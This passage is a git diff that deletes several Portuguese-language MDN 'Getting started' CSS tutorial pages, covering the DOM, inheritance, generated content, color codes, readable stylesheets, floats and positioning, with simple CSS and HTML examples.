
- -

Estas não são as únicas propriedades que se aplicam. Uma página posterior neste turorial explicará mais.

- - - - - - - - -
Mais detalhes
CSS às vezes providencia um meio para o leitor anular o estilo do autor do documento, usando a palavra-chave !important. -

Este meio é para o autor do documento, você não pode sempre predizer exatamente o que os leitores verão.

- -

Se você quer saber todos os detalhes sobre cascata e herança, veja Assigning property values, Cascading, and Inheritance na CSS Specification.

-
- -

Ação: Usando herança

- -

Edite seu arquivo de amostra CSS.

- -

Adicione esta linha copiando e colando isto. Não importa realmente se você adicionar a linha antes ou depois da que já está lá. Entretando, adicionar isto no topo é mais lógico pois no seu documento o elemento P é primário ao elemento STRONG:

- -
p {color: blue; text-decoration: underline;}
-
- -

Agora atualize seu navegador para ver o efeito no seu documento de amostra. O sublinhado afeta todo o texto no parágrafo, incluindo as letras iniciais. Os elementos STRONG herdaram o estilo sublinhado do elemento primário P.

- -

Mas os elementos STRONG ainda são vermelhos. A cor vermelha é própria do estilo, então isto tem prioridade sobre a cor azul do seu elemento primário P.

- - - - - - - - -
- - - - - - - -
Antes
Cascading Style Sheets
-
- - - - - - - -
Depois
Cascading Style Sheets
-
- -

 

- - - - - - - - -
Desafio
Mude sua folha de estilo deixando somente as letras vermelhas sublinhadas: - - - - - - -
Cascading Style Sheets
-
- -

 

- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Sua folha de estilo de amostra especifica o estilo para os tags, P e STRONG, mudando o estilo dos elementos correspondentes em todo o seu documento original. A próxima página descreve como espeficar estilos em meios mais seletivos: Seletores

- -

{{ PreviousNext("CSS:Como começar:Como o CSS trabalha", "CSS:Como começar:Seletores") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/como_o_css_trabalha/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/como_o_css_trabalha/index.html" deleted file mode 100644 index bd667439ff..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/como_o_css_trabalha/index.html" +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Como o CSS trabalha -slug: Web/CSS/Como_começar/Como_o_CSS_trabalha -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works ---- -

{{ PreviousNext("CSS:Como começar:Porque usar CSS", "CSS:Como começar:Cascata e herança") }}

- -

Esta página explica como o CSS trabalha no seu navegador. Você analiza seu documento de amostra, reavaliando os detalhes do seu estilo.

- -

Informação: Como o CSS trabalha

- -

Quando o Mozilla exibe um documento, é necessário combinar o conteúdo do documento com seu estilo de informação. Então o documento é processado em dois estágios:

- - - - - -

Uma linguagem de marcação usa tags para definir a estrutura do documento. Uma tag pode armazenar outras tags entre seu início e fim.

- -

Um DOM tem a estrutura como a de uma árvore. Cada tag e período do texto na linguagem de marcação torna-se um na estrutura da árvore. Os nós do DOM não são armazenadores. Em substituição, eles são primários aos nós subordinados.

- -

Os nós que correspondem a tags também são conhecidos por elementos.

- - - - - - - - -
Exemplo
No seu documento de amostra, a tag <p> e seu fim </p> criam um armazenamento: -
-
-<p>
-  <strong>C</strong>ascading
-  <strong>S</strong>tyle
-  <strong>S</strong>heets
-</p>
-
-
- -

No DOM, o corespondente ao nó P é um primário. Os subordinados são os nós STRONG e os nós do texto. Os nós STRONG são os primários, e os nós do texto são os subordinados.

- -
-

P ├─STRONG │ │ │ └─"C"
- │
- ├─"ascading"
- │
- ├─STRONG │ │ │ └─"S"
- │
- ├─"tyle"
- │
- ├─STRONG │ │ │ └─"S"
- │
- └─"heets"

-
-
- -

O entendimento do DOM ajuda-o a projetar, depurar e manter seu CSS, pois o DOM é onde o seu CSS e o conteúdo do documento se unem.

- -

Ação: Analizando um DOM

- -

Para analizar um DOM, você precisa de um software especial. Aqui, você usa o DOM Inspector (DOMi) da Mozilla para analizar um DOM.

- -

Use seu navegador Mozilla para abrir seu documento simples.

- -

Na barra de menu do seu navegador, escolha Ferramentas – DOM Inspector, ou talvez Ferramentas – Desenvolvimento Web – DOM Inspector.

- - - - - - - - -
Mais detalhes
Se seu navegador Mozilla não tem o DOMi, você pode reinstalá-lo assegurando-se de escolher para instalar o componente de ferramentas da web. Então retorne a este tutorial. -

Se você não quiser instalar o DOMi, você pode pular esta seção e ir diretamente para a próxima página. Pulando esta seção você não interfere com o resto deste tutorial.

-
- -


- No DOMi, expanda os nós do seu documento clicando em suas flechas.

- -

Nota: O espaçamento em seu arquivo HTML faz com que o DOMi mostre alguns nós de texto vazios, que você pode ignorar.

- -

O resultado deve ser parecido com isto, dependendo do que você tenha expandido:

- - - - - - - -
-
-


- P │ │ │ STRONG │ │ └#text │ ├╴#textSTRONG │ │

-
-
- -

Quando você seleciona algum nó, você pode usar o painel direito do DOMi para achar mais sobre ele. Por exemplo, quando você seleciona um nó do texto, DOMi mostra para você o texto no painel da direita.

- -

Quando você seleciona um elemento nó, DOMi o analiza e fornece uma enorme quantidade de informações no seu painel direito. A informação sobre estilo é somente uma parte das informações que ele fornece.

- - - - - - - - -
Desafio
No DOMi, clique no nó STRONG. -

Use o painel direito do DOMi para achar onde fica a cor do nó (vermelho) e onde sua aparência é mais forte que o texto normal (negrito).

-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Se você tomou o desafio, você viu o estilo da informação em mais de um lugar interagir para criar o estilo final para um elemento.

- -

A próxima página explica mais sobre estas interações: Cascata e herança

- -

{{ PreviousNext("CSS:Como começar:Porque usar CSS", "CSS:Como começar:Cascata e herança") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/conte\303\272do/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/conte\303\272do/index.html" deleted file mode 100644 index 523c408aad..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/conte\303\272do/index.html" +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: Conteúdo -slug: Web/CSS/Como_começar/Conteúdo -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/Howto/Generated_content ---- -

{{ PreviousNext("CSS:Como começar:Cor", "CSS:Como começar:Listas") }}

- -

Esta página descreve algumas maneiras que você pode usar no CSS para adicionar conteúdo quando um documento é exibido.

- -

Você modifica sua folha de estilo para adicionar conteúdo de texto e uma imagem.

- -

Informação: Conteúdo

- -

Uma das vantagens importantes das CSS é que ele o ajuda a separar o estilo do documento do seu conteúdo. Mas há situações onde faz sentido especificar certo conteúdo como parte de sua folha de estilo, não como parte do seu documento.

- -

O conteúdo especificado em uma folha de estilo pode consistir em texto ou imagens. Você especifica o conteúdo em sua folha de estilo quando o conteúdo tem uma ligação próxima à estrutura do documento.

- - - - - - - - -
Mais detalhes
Especificar o conteúdo em uma folha de estilo pode causar complicações. Por exemplo, você pode ter versões diferentes da língua do seu documento que compartilham uma folha de estilo. Se parte da folha de estilo tem que ser traduzida, isto mostra que você precisa por estas partes da folha de estilo em arquivos separados e arrumá-los para então ligá-los com a versão apropriada da língua do seu documento. -

Estas complicações não surgem se o conteúdo que você especificou consistir em símbolos ou imagens que se aplicam em todas as línguas e culturas.

- -


- O conteúdo especificado em uma folha de estilo não se tornará parte do DOM.

-
- -

Conteúdo do texto

- -

CSS pode inserir um texto antes ou depois de um elemento. Para especificar isto, faça uma regra e adicione :before ou :after ao seletor. Na declaração, especifique a propriedade content com o conteúdo do texto como seu valor.

- - - - - - - - -
Exemplo
Esta regra adiciona o texto Referência: antes de todo elemento com a classe ref: -
-
-.ref:before {
-  font-weight: bold;
-  color: navy;
-  content: "Referência: ";
-  }
-
-
-
- - - - - - - - -
Mais detalhes
O caractere de configuração de uma folha de estilo é por padrão o UTF-8, mas isto pode ser especificado na ligação, na própria folha de estilo ou por outras maneiras. Para detalhes, veja 4.4 CSS style sheet representation na CSS Specification. -

Caracteres individuais podem às vezes ser especificados por um mecanismo de escape que use o contra barra (\) com o caráter de escape. Por exemplo, \265B é um símbolo do xadrez para a rainha preta ♛. Para detalhes, veja Referring to characters not represented in a character encoding e também Characters and case em CSS Specification.

-
- -

Conteúdo da imagem

- -

Para adicionar uma imagem antes ou depois de um elemento, você pode especificar a URL de um arquivo de imagem no valor da propriedade content.

- - - - - - - - -
Exemplo
Esta regra adiciona um espaço e um ícone depois de cada ligação da classe glossary: -
-
-a.glossary:after {content: " " url("../images/glossary-icon.gif");}
-
-
-
- -


- Para adicionar uma imagem ao fundo de um elemento, especifique a URL de um arquivo de imagem no valor da propriedade background. Isto é uma propriedade que especifica a cor do fundo, a imagem, como a imagem repete, e alguns outros detalhes.

- - - - - - - - -
Exemplo
Esta regra configura o fundo de um elemento específico, usando uma URL para especificar um arquivo de imagem. -

O seletor especifica o id do elemento. O valor no-repeat faz a imagem aparecer apenas uma vez:

- -
-
-#sidebar-box {background: url("../images/sidebar-ground.png") no-repeat;}
-
-
-
- - - - - - - - -
Mais detalhes
Para informações sobre propriedades individuais que afetam o fundo, e sobre outras opções que você pode especificar para as imagens de fundo, veja The background na CSS Specification.
- -

Ação: Adicionando uma imagem de fundo

- -

Esta imagem é um quadrado branco com uma linha azul em baixo. Baixe o arquivo desta imagem no mesmo diretório do seu arquivo CSS:

- - - - - - - -
Image:Blue-rule.png
- -

(Por exemplo, clique com o botão direito sobre isto para abrir o menu de contexto, então escolha Salvar Imagem Como... e especifique o diretório que você está usando para este tutorial.)

- -

Edite o seu arquivo CSS e adicione esta regra ao corpo, configurando a imagem de fundo para a página inteira.

- -
-
background: url("Blue-rule.png");
-
-
- -

O valor repeat é o padrão, então isto não precisa ser especificado. A imagem é repetida horizontal e verticalmente, dando a aparência parecida com a de um papel de escrita com linhas:

- -
-

Image:Blue-rule-ground.png

- -
-
-

Cascading Style Sheets

-
- -
-

Cascading Style Sheets

-
-
-
- - - - - - - - -
Desafio
Baixe esta imagem: - - - - - - -
Image:Yellow-pin.png
- -

Adicione uma regra à sua folha de estilo então isto mostrará a imagem no começo de cada linha:

- -
-

Image:Blue-rule-ground.png

- -
-
image:Yellow-pin.png Cascading Style Sheets
- -
image:Yellow-pin.png Cascading Style Sheets
-
-
-
- -

O que vem depois?

- -

Uma maneira comum de adicionar conteúdo à folha de estilo é marcar os itens em listas. Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

A próxima página descreve como especificar o estilo para elementos de listas: Listas

- -

{{ PreviousNext("CSS:Como começar:Cor", "CSS:Como começar:Listas") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/cor/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/cor/index.html" deleted file mode 100644 index d5c15375d7..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/cor/index.html" +++ /dev/null @@ -1,341 +0,0 @@ ---- -title: Cor -slug: Web/CSS/Como_começar/Cor -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors -translation_of_original: Web/Guide/CSS/Getting_started/Color ---- -

{{ PreviousNext("CSS:Como começar:Estilos de texto", "CSS:Como começar:Conteúdo") }}

- -

Esta página explica mais sobre como você pode especificar cores no CSS.

- -

Em sua folha de estilo de amostra, você é introduzido nas cores de fundo.

- -

Informação: Cor

- -

Neste tutorial até agora, você usou um limitado número de cores nomeadas. CSS 2 suporta ao todo 17 cores nomeadas. Alguns dos nomes podem não ser o que você espera:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 black gray silver white 
primáriasred lime blue 
secundáriasyellow aqua fuchsia 
 maroon orange olive purple green navy teal 
- -

 

- - - - - - - - -
Mais detalhes
Seu navegador pode suportar muitas cores nomeadas, como: - - - - - - - - - - - - - - - -
dodgerblue peachpuff tan firebrick aquamarine 
- -

Para detalhes sobre esta lista extendida, veja: SVG color keywords no CSS 3 Color Module. Cuidado ao usar cores nomeadas, pois seu navegador pode não suportar.

-
- -


- Para uma paleta maior, específica de cores de componentes vermelho, verde ou azul você precisa usar um sinal numérico (#) e três digitos hexadecimais na faixa de 0 – 9 e a – f. As letras a – f representam os valores 10 – 15:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
black #000
pure red #f00
pure green #0f0
pure blue #00f
white #fff
- -


- Para a paleta total, especifique dois digitos hexadecimais por cada componente:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
black #000000
pure red #ff0000
pure green #00ff00
pure blue #0000ff
white #ffffff
- -

Você pode usualmente pegar estes seis digitos em código hexadeximal de seu programa de imagens ou alguma outra ferramenta.

- - - - - - - - - - - -
Exemplos
Com uma pequena prática, você pode ajustar as cores de três digitos manualmente para a maioria dos propósitos: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Começe com vermelho puro: #f00
Para tornar isto mais pálido, adicione um pouco de verde e azul: #f77
Para tornar isto mais alaranjado, adicione um pouquinho mais de verde: #fa7
Para tornar isto mais escuro, reduza todos os componentes: #c74
Para reduzir a saturação, faça os componentes mais parecidos: #c98
Se você quiser deixar todos os componentes iguais, você obterá cinza: #ccc
-
Para uma sombra pastel como azul pálido: - - - - - - - - - - - - - -
Começe com branco puro: #fff
Reduza um pouco os outros componentes: #eef
-
- - - - - - - - -
Mais detalhes
Você pode também especificar uma cor usando valores decimais RGB na faixa de 0 – 255, ou porcentagens. -

Por exemplo, este marrom (vermelho escuro):

- -
-
-rgb(128, 0, 0)
-
-
- -


- Para maiores detalhes sobre como especificar cores, veja: Colors na CSS Specification.

- -

Para informação sobre sistema de cores combinadas como o Menu and ThreeDFace, veja: CSS2 System Colors na CSS Specification.

-
- -

Propriedades de cor

- -

Você já usou a propriedade color para textos.

- -

Você também já usou a propriedade background-color para mudar elementos de fundo.

- -

Fundos podem ser configurados para transparent para remover qualquer cor explicitamente, reavaliando os elementos principais do fundo.

- - - - - - - - -
Exemplo
As caixas de Exemplo neste tutorial usam este fundo amarelo pálido: -
-
-background-color: #fffff4;
-
-
- -

As caixas de Mais detalhes usam esta paleta cinza:

- -
-
-background-color: #f4f4f4;
-
-
-
- -

Ação: Usando códigos de cor

- -

Edite seu arquivo CSS. Faça a mudança mostrada aqui em negrito, para dar às letras iniciais um fundo azul pálido. (O layout e os comentários no seu arquivo irão provavelmente diferir do arquivo mostrado aqui. Mantenha o layout e os comentários como você preferir.)

- -
-
/*** CSS Tutorial: Página de Cor ***/
-
-/* Fonte da Página */
-body {font: 16px "Comic Sans MS", cursive;}
-
-/* Parágrafos */
-p {color: blue;}
-#first {font-style: italic;}
-
-/* Letras Iniciais */
-strong {
-  color: red;
-  background-color: #ddf;
-  font: 200% serif;
-  }
-
-.carrot {color: red;}
-.spinach {color: green;}
-
-
- -

Atualize seu navegador para ver o resultado:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- - - - - - - - -
Desafio
No seu arquivo CSS, mude todos os nomes das cores para o código de cor com três digitos sem afetar o resultado. -

(Isto não pode ser feito exatamente, mas você pode deixar parecido. Para fazer isso exatamente você precisa do código com seis dígitos, e você precisa olhar a Especificação CSS ou usar uma ferramenta gráfica para converter as cores.)

-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Seu documento de amostra e sua folha de estilo de amostra separam rigorosamente o conteúdo do estilo.

- -

A próxima página explica como você pode fazer exceções para separar rigorosamente: Conteúdo

- -

{{ PreviousNext("CSS:Como começar:Estilos de texto", "CSS:Como começar:Conteúdo") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/css_leg\303\255vel/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/css_leg\303\255vel/index.html" deleted file mode 100644 index 08ede46aa3..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/css_leg\303\255vel/index.html" +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: CSS legível -slug: Web/CSS/Como_começar/CSS_legível -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable -translation_of_original: Web/Guide/CSS/Getting_started/Readable_CSS ---- -

{{ PreviousNext("CSS:Como começar:Seletores", "CSS:Como começar:Estilos de texto") }}

- -

Esta página discute o estilo e a gramática da linguagem CSS.

- -

Você muda a maneira em que seu arquivo de amostra CSS é exibido, para torná-lo mais legível.

- -

Informação: CSS legível

- -

Você pode adicionar espaço em branco e comentários na sua folha de estilo para fazê-la mais legível. Você pode também juntar seletores de grupo, quando as mesmas regras de estilo se aplicam aos elementos selecionados em meios diferentes.

- -

Espaço em branco

- -

Espaços em branco significam espaços reais, tabs e quebras de linha. Você pode adicionar espaços em branco para tornar suas folhas de estilo mais legíveis.

- -

Seu arquivo de amostra de CSS atualmente tem uma regra por linha, e quase o mínimo de espaço em branco. Em uma uma folha de estilo complexa esta disposição pode dificultar a leitura, dificultando também a manutenção da sua folha de estilo.

- -

A disposição que você escolhe é usualmente um preferência pessoal, mas se suas folhas de estilo são parte de projetos compartilhados, estes projetos podem ter suas próprias convenções.

- - - - - - - - -
Exemplos
Algumas pessoas gostam de uma diposição compacta que temos usado, somente dividindo a linha quando ela se torna muito longa: -
-.carrot {color: orange; text-decoration: underline; font-style: italic;}
-
- -

Algumas pessoas preferem uma propriedade-valor por linha:

- -
-
-.carrot
-{
-color: orange;
-text-decoration: underline;
-font-style: italic;
-}
-
-
- -

Algumas pessoas usam tabs – dois espaços, quatro espaços, ou um tab são comuns:

- -
-
-.carrot {
-  color: orange;
-  text-decoration: underline;
-  font-style: italic;
-}
-
-
- -

Algumas pessoas gostam de enfileirar a linha verticalmente (mas é difícil de manter uma disposição assim):

- -
-
-.carrot
-    {
-    color           : orange;
-    text-decoration : underline;
-    font-style      : italic;
-    }
-
-
- -

Algumas pessoas usam tabs para a disposição. Algumas pessoas usam somente espaços.

-
- -

Comentários

- -

Comentários em CSS começam com /* e terminam com */.

- -

Você pode usar comentários para fazer comentários reais na sua folha de estilo, e também para descomentar partes que estiverem temporariamente para propósito de testes.

- -

Para comentar parte da folha de estilo, coloque a parte em um comentário então o navegador ignorará isso. Tome cuidado onde você começa e termina o seu comentário. O resto da sua folha de estilo ainda deve ter a sintaxe correta.

- - - - - - - - -
Exemplo
-
-
-/* Estilo para a letra C inicial no primeiro parágrafo */
-.carrot {
-  color:            orange;
-  text-decoration:  underline;
-  font-style:       italic;
-  }
-
-
-
- -

Seletores agrupados

- -

Quando muitos elementos tiverem o mesmo estilo, você pode especificar um grupo de seletores, separando-os com comentários. A declaração se aplica a todos os elementos selecionados.

- -

Em outra parte da sua folha de estilo você pode especificar os mesmos seletores, de novo individualmente, para aplicar estilo individual às suas regras.

- - - - - - - - -
Exemplo
Esta regra faz os elementos H1, H2 and H3 da mesma cor. -

Isto é conveniente para especificar a cor em somente um lugar, no caso em que precisa ser alterado.

- -
-
-/* cores para os cabeçalhos */
-h1, h2, h3 {color: navy;}
-
-
-
- -

Ação: Adicionando comentários e melhorando o arranjo

- -

Edite seu arquivo CSS, e assegure-se que ele tem todas as regras nele (em qualquer ordem):

- -
-
strong {color: red;}
-.carrot {color: orange;}
-.spinach {color: green;}
-#first {font-style: italic;}
-p {color: blue;}
-
-
- -

Faça isto mais legível rearranjando isto em um meio que possa ser achado lógicamente, adicionando espaços em branco e comentários da maneira que você achar melhor.

- -

Salve o arquivo e atualize a tela do seu navegador, assegure-se que as mudanças que você fez não afetaram o modo como a folha de estilo trabalha:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- - - - - - - - -
Desafio
Comente parte de sua folha de estilo, sem mudar qualquer coisa, para fazer a primeira letra de seu documento vermelha: - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -

(Existe mais de uma maneira de fazer isto.)

-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Seu documento de amostra usou o texto em itálico e o texto com sublinhado. A próxima página descreve mais caminhos para especificar a aparência do texto no seu documento: Estilos de texto

- -

{{ PreviousNext("CSS:Como começar:Seletores", "CSS:Como começar:Estilos de texto") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/disposi\303\247\303\243o/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/disposi\303\247\303\243o/index.html" deleted file mode 100644 index 0612aad9b5..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/disposi\303\247\303\243o/index.html" +++ /dev/null @@ -1,453 +0,0 @@ ---- -title: Disposição -slug: Web/CSS/Como_começar/Disposição -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/CSS_layout -translation_of_original: Web/Guide/CSS/Getting_started/Layout ---- -

{{ PreviousNext("CSS:Como começar:Caixas", "CSS:Como começar:Tabelas") }}

- -

Esta página descreve algumas maneiras para ajustar a disposição do seu documento.

- -

Você muda a disposição do seu documento de amostra...

- -

Informação: Disposição

- -

Você pode usar as CSS para especificar vários efeitos visuais que mudam a disposição do seu documento. Algumas técnicas para especificação da disposição são avançadas,e além do alcance deste tutorial básico.

- -

Quando você desenha uma disposição que aparece similar em vários navegadores, sua folha de estilo interage com a folha de estilo padrão do navegador e o motor de disposição em alguns caminhos pode se tornar complexo. Isto é também uma matéria avançada, além do alcance deste tutorial básico.

- -

Esta página descreve algumas técnicas simples que você pode tentar.

- -

Estrutura do documento

- -

Se você quer controlar a disposição do seu documento, então você pode ter que mudar sua estrutura.

- -

A linguagem de marcação do seu documento pode ter tags com propósito geral para criar a estrutura. Por exemplo, no HTML você pode usar a tag DIV para criar a estrutura.

- - - - - - - - -
Exemplo
No seu documento de amostra, os parágrafos numerados sob o segundo título não tem um "recipiente" próprio. -

Sua folha de estilo não pode desenhar uma borda ao redor destes parágrafos, porque não há elemento especificado no seletor.

- -

Para fixar este problema estrutural, você pode adicionar uma tag DIV em torno dos parágrafos. Esta tag é única, então isto pode ser identificado por um atributo id:

- -
-
-<H3 class="numbered">Parágrafos numerados</H3>
-<DIV id="numbered">
-<P class="numbered">Lorem ipsum</P>
-<P class="numbered">Dolor sit</P>
-<P class="numbered">Amet consectetuer</P>
-<P class="numbered">Magna aliquam</P>
-<P class="numbered">Autem veleum</P>
-</DIV>
-
-
- -

Agora sua folha de estilo pode use uma regra para especificar bordas em tordo de ambas as listas:

- -
-
-ul, #numbered {
-  border: 1em solid #69b;
-  padding-right:1em;
-  }
-
-
- -

O resultado deve ser como este:

- - - - - - - -
-

(A) Os oceanos

- -
-
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
-
- -

(B) Parágrafos numerados

- -
-

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
-
-
- -

Tamanhos das unidades

- -

Anteriormente neste tutorial, você especificou tamanhos em pixels (px). Estes são apropriados para alguns propósitos em um dispositivo de exposição como uma tela de computador. Mas quando o usuário muda o tamanho da fonte, sua disposição pode ficar errada.

- -

Para muitos propósitos é melhor especificar tamanhos com porcentagem ou em ems (em). Um em é nominalmente o tamanho da fonte corrente (a largura de uma letra m). Quando o usuário muda o tamanho da fonte, sua disposição ajusta-se automaticamente.

- - - - - - - - -
Exemplo
A borda da esquerda deste texto tem o tamanho especificado em pixels. -

A borda da direita tem o tamanho especificado em ems. No seu navegador, mude o tamanho da fonte para ver como a borda da direita se ajusta mas a borda da esquerda não:

- - - - - - - -
-
Redimensione-me por favor
-
-
- - - - - - - - -
Mais detalhes
Para outros dispositivos, outras unidades de comprimento são apropriadas. -

Há mais informação sobre isto em uma página anterior deste tutorial.

- -

Para detalhes completos sobre os valores e unidades que você pode usar, veja Values em CSS Specification.

-
- -

Disposição do texto

- -

Duas propriedades especificam como o conteúdo de um elemento é alinhado. Você pode usá-las para ajustes simples na disposição:

- - - -
-
Alinha o conteúdo. Use um destes valores: left, right, center, justify
-
- - - -
-
Indenta o conteúdo, colocando o espaço que você especificar.
-
- -

Estas propriedades aplicam-se a qualquer conteúdo como texto no elemento, não somente ao texto atual. Lembre-se que elas são herdadas pelo elemento filho, então você pode ter que desativá-las nos elementos filhos para não se surpreender com os resultados.

- - - - - - - - -
Exemplo
Para centralizar títulos: -
-
-h3 {
-  border-top: 1px solid gray;
-  text-align: center;
-  }
-
-
- -

Resulta em:

- - - - - - - -
-

(A) Os oceanos

-
- -

Em um documento HTML, o conteúdo que você vê abaixo do título não é contido estruturalmente pelo título. Então quando você alinha um título como isto, as tags abaixo do título não são afetadas pela herança.

-
- -

Flutuantes

- -

A propriedade float força um elemento para a esquerda ou direita. Isto é uma maneira simples de controlar sua posição e tamanho.

- -

O resto do conteúdo do documento normalmente flui ao redor do elemento flutuado. Você pode controlar isto usando a propriedade clear em outros elementos para fazê-los permanecer sem flutuantes.

- - - - - - - - -
Exemplo
Em seu documento de amostra, as listas esticam através da janela. Você pode prevenir isto flutuando-os para a esquerda. -

Para manter os títulos no lugar, você precisa também especificar que eles permaneçam limpos de flutuantes à sua esquerda:

- -
-
-ul, #numbered {float: left;}
-h3 {clear: left;}
-
-
- -

O resultado deve se parecer com isto:

- - - - - - - -
-

(A) Os oceanos

- -
-
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
-
- -

(B) Parágrafos numerados

- -
-

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
-
- -

(Um pequeno enchimento é necessário à direita das caixas, onde a borda fica muito perto do texto.)

-
- -

Posicionamento

- -

Você pode especificar a posição dos elementos de quatro maneiras, especificando a propriedade position e um dos valores seguintes:

- -

Estas são propriedades avançadas. É possível usá-las de maneiras simples — esta é a razão pela qual elas são mencionadas neste tutorial básico. Mas usando-as para disposições complexas pode-se dificultar.

- - - -
-
A posição do elemento é alterada relativamente à sua posição normal.
-
Use-o para mover um elemento por uma quantidade especificada. Às vezes você pode usar a margem do elemento para obter o mesmo efeito.
-
- - - -
-
A posição do elemento é fixa.
-
Especifique a posição do elemento relativa à janela do documento. Mesmo que o resto do documento seja rolado, o elemento permanece fixo.
-
- - - -
-
A posição do documento é fixada relativamente a um elemento pai.
-
Somente um elemento pai que esteja posicionado com relative, fixed ou absolute o fará.
-
- -
-
Você pode tornar qualquer elemento principal apropriado, especificando position: relative; sem especificar qualquer movimento.
-
- - - -
-
O padrão. Use este valor caso precise desativar a posição explicitamente.
-
- -

Agora, com estes valores da propriedade position (exeto para static), especifique uma ou mais propriedades: top, right, bottom, left, width, height para identificar onde você quer que o elemento apareça, e talvez também seu tamanho.

- - - - - - - - -
Exemplo
Para posicionar dois elementos no topo, crie um "recipiente" principal em seu documento com os dois elementos dentre dele: -
-
-<DIV id="parent-div">
-<P id="forward">/</P>
-<P id="back">\</P>
-</DIV>
-
-
- -

Na sua folha de estilo, faça a posição principal relative. Ela não precisa que seja especificado qualquer movimento atual. Faça a posição subordinada absolute:

- -
-
-#parent-div {
-  position: relative;
-  font: bold 200% sans-serif;
-  }
-
-#forward, #back {
-  position: absolute;
-  margin:0px;
-  top: 0px;
-  left: 0px;
-  }
-
-#forward {
-  color: blue;
-  }
-
-#back {
-  color: red;
-  }
-
-
- -

O resultado deve ser como isto, com a contra barra (\) sobre a barra (/):

- -
-

/

- -

\

-
- - - - - - - -
 
- -

 

-
- - - - - - - - -
Mais detalhes
A história completa sobre posicionamento toma dois complexos capítulos em CSS Specification: Visual formatting model e Visual formatting model details. -

Se você está desenhando folhas de estilo para trabalharem em vários navegadores, então você também precisa levar em conta as diferenças na maneira em que os navegadores interpretam o padrão, e talvez bugs em algumas versões de alguns navegadores.

-
- -

Ação: Especificando a disposição

- -

Mude seu documento de amostra e sua folha de estilo usando os exemplos anteriores nas seções Estrutura do documento e Flutuantes.

- -

No exemplo dos Flutuantes, adicione enchimento para separar o texto da borda direita por 0,5 em.

- - - - - - - - -
Desafio
Mude seu documento de amostra, adicionando esta tag perto do fim, somente antes de </BODY> -
-<IMG id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin">
-
- -

Se você não baixou o arquivo de imagem anteriormente neste tutorial, baixe-o agora:

- - - - - - - -
Image:Yellow-pin.png
- -

Prediga onde a imagem irá aparecer no seu documento. Então atualize seu navegador para ver se você estava certo.

- -

Adicione uma regra à sua folha de estilo que fixe a imagem no topo e a direita do seu documento.

- -

Atualize seu navegador e diminua o tamanho da janela. Cheque se a imagem permanece no topo e a direita mesmo que você role seu documento:

- -
-
-

(A) Os oceanos

- -
-
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
-
- -

(B) Parágrafos numerados

- -
-

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
- -

 

- -
Yellow map pin
-
-
-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

A próxima página descreve seletores para regras mais avançadas das CSS, e algumas maneiras específicas de estilizar tabelas: Tabelas

- -

{{ PreviousNext("CSS:Como começar:Caixas", "CSS:Como começar:Tabelas") }}

